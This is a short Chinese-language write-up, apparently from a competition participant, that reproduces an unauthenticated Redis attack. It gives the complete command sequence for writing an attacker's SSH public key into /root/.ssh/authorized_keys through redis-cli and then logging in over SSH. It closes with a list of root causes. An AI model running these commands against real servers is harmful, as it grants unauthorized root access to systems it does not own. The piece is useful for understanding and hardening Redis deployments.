redis未授权访问

前言

前段时间的平衡信息杯线下赛中遇到了一个由于redis服务无密码认证的未授权访问漏洞,于是赛后复现了一次。

SSH key 文件的准备

ssh-keygen -t rsa

redis未授权访问-1.png

在当前目录先生成.ssh的文件夹,里面有两个文件,一个私钥 id_rsa,一个公钥 id_rsa.pub。

redis未授权访问-2.png

连接redis

redis-cli -h 目标ip

使用redis-cli远程管理成功连接上无认证的redis服务,由于redis拥有可以写文件的权限,所以尝试将公钥信息写入目标主机。

config set dir /root/.ssh/

切换当前路径

1
2
3
config set dbfilename authorized_keys
set melon "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwfw7hBoDJmxxGC2cgaXkwWzO8PouedX1mFNcH3zw2M38y1OXF59NQh9ZBsu89cj52FQHaqMToA5SEULrsnmSdBGXbyCb4MIar6WNREX/CndH7/X5FUw3rvnmSvwHgylYCrWDMWK8amU5DLTEn5YAA13voBVJyEFj1qB76MtNnQSxKlnOrWnXimWy+4dvqKXWhJ2OdB3bDhqjghZ6RyEB1oOOKh4GiMTkmTkd5YhRjFCWlroQE3hAmRHmnPSCZTcrOkQtk2/sqodSiFNQnWO+yU6pWH23EyY6SPEGU0GGfhFUi4kDdHdUwFTxxYDAffpKaMxCf0aeH+uoiINWn50q2Q== root@iZwz9a0cr2yno695xeldpyZ\n\n\n"
save

将公钥信息写入authorized_keys文件,保存。

redis未授权访问-3.png

ssh连接目标主机

ssh 目标ip
redis未授权访问-4.png
(这里为了避免冲突,将ssh端口改为222)
成功连接目标主机

小结

漏洞形成的原因

  1. redis服务无认证,且暴露在公网。
  2. redis服务使用root权限启动。